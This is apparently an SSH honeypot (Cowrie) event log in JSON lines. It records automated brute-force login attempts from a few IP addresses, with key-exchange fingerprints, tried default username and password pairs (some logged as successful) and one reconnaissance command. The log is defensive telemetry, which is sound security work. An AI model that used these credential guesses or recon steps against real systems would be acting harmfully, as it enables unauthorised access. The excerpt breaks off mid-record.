{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:42.966493Z","src_ip":"165.154.137.186","session":"e2297a6ac963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:43.789224Z","src_ip":"165.154.137.186","session":"e2297a6ac963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:45.063640Z","src_ip":"165.154.137.186","session":"e2297a6ac963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":44552,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d0637350fd","protocol":"ssh","message":"New connection: 165.154.137.186:44552 (10.17.0.5:22) [session: e1d0637350fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:45.492255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:45.495733Z","src_ip":"165.154.137.186","session":"e1d0637350fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:45.765611Z","src_ip":"165.154.137.186","session":"e1d0637350fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:46.569685Z","src_ip":"165.154.137.186","session":"e1d0637350fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:47.839706Z","src_ip":"165.154.137.186","session":"e1d0637350fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49640,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbd93aa3eb10","protocol":"ssh","message":"New connection: 8.210.75.243:49640 (10.17.0.5:22) [session: dbd93aa3eb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:48.058475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:48.622614Z","src_ip":"8.210.75.243","session":"dbd93aa3eb10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:48.626420Z","src_ip":"8.210.75.243","session":"dbd93aa3eb10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":44556,"dst_ip":"10.17.0.5","dst_port":22,"session":"c456bd415fef","protocol":"ssh","message":"New connection: 165.154.137.186:44556 (10.17.0.5:22) [session: c456bd415fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:50.040231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:50.149333Z","src_ip":"165.154.137.186","session":"c456bd415fef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:50.328676Z","src_ip":"165.154.137.186","session":"c456bd415fef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:51.374897Z","src_ip":"165.154.137.186","session":"c456bd415fef","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:51.951029Z","src_ip":"165.154.137.186","session":"c456bd415fef","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:51.953888Z","src_ip":"165.154.137.186","session":"c456bd415fef","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:52.224841Z","src_ip":"165.154.137.186","session":"c456bd415fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:52.228962Z","src_ip":"165.154.137.186","session":"c456bd415fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:54.633283Z","src_ip":"8.210.75.243","session":"dbd93aa3eb10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:57.724233Z","src_ip":"8.210.75.243","session":"dbd93aa3eb10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47914,"dst_ip":"10.17.0.5","dst_port":22,"session":"13a9c5da87e7","protocol":"ssh","message":"New connection: 165.154.137.186:47914 (10.17.0.5:22) [session: 13a9c5da87e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:00.239741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:00.242491Z","src_ip":"165.154.137.186","session":"13a9c5da87e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58970,"dst_ip":"10.17.0.5","dst_port":22,"session":"1755fd7d06ba","protocol":"ssh","message":"New connection: 165.154.137.186:58970 (10.17.0.5:22) [session: 1755fd7d06ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:00.320659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:00.326903Z","src_ip":"165.154.137.186","session":"1755fd7d06ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:00.501607Z","src_ip":"165.154.137.186","session":"13a9c5da87e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:00.597394Z","src_ip":"165.154.137.186","session":"1755fd7d06ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:01.278491Z","src_ip":"165.154.137.186","session":"13a9c5da87e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:01.723829Z","src_ip":"165.154.137.186","session":"1755fd7d06ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:02.569432Z","src_ip":"165.154.137.186","session":"13a9c5da87e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:02.997659Z","src_ip":"165.154.137.186","session":"1755fd7d06ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58986,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dc16c9627b6","protocol":"ssh","message":"New connection: 165.154.137.186:58986 (10.17.0.5:22) [session: 0dc16c9627b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:10.715981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:10.719954Z","src_ip":"165.154.137.186","session":"0dc16c9627b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:10.994623Z","src_ip":"165.154.137.186","session":"0dc16c9627b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60676,"dst_ip":"10.17.0.5","dst_port":22,"session":"98143ca4f1b2","protocol":"ssh","message":"New connection: 165.154.137.186:60676 (10.17.0.5:22) [session: 98143ca4f1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:11.469093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:11.473734Z","src_ip":"165.154.137.186","session":"98143ca4f1b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:11.739580Z","src_ip":"165.154.137.186","session":"98143ca4f1b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:11.823164Z","src_ip":"165.154.137.186","session":"0dc16c9627b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47918,"dst_ip":"10.17.0.5","dst_port":22,"session":"859aa4e8c756","protocol":"ssh","message":"New connection: 165.154.137.186:47918 (10.17.0.5:22) [session: 859aa4e8c756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:12.039749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:12.044447Z","src_ip":"165.154.137.186","session":"859aa4e8c756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-pol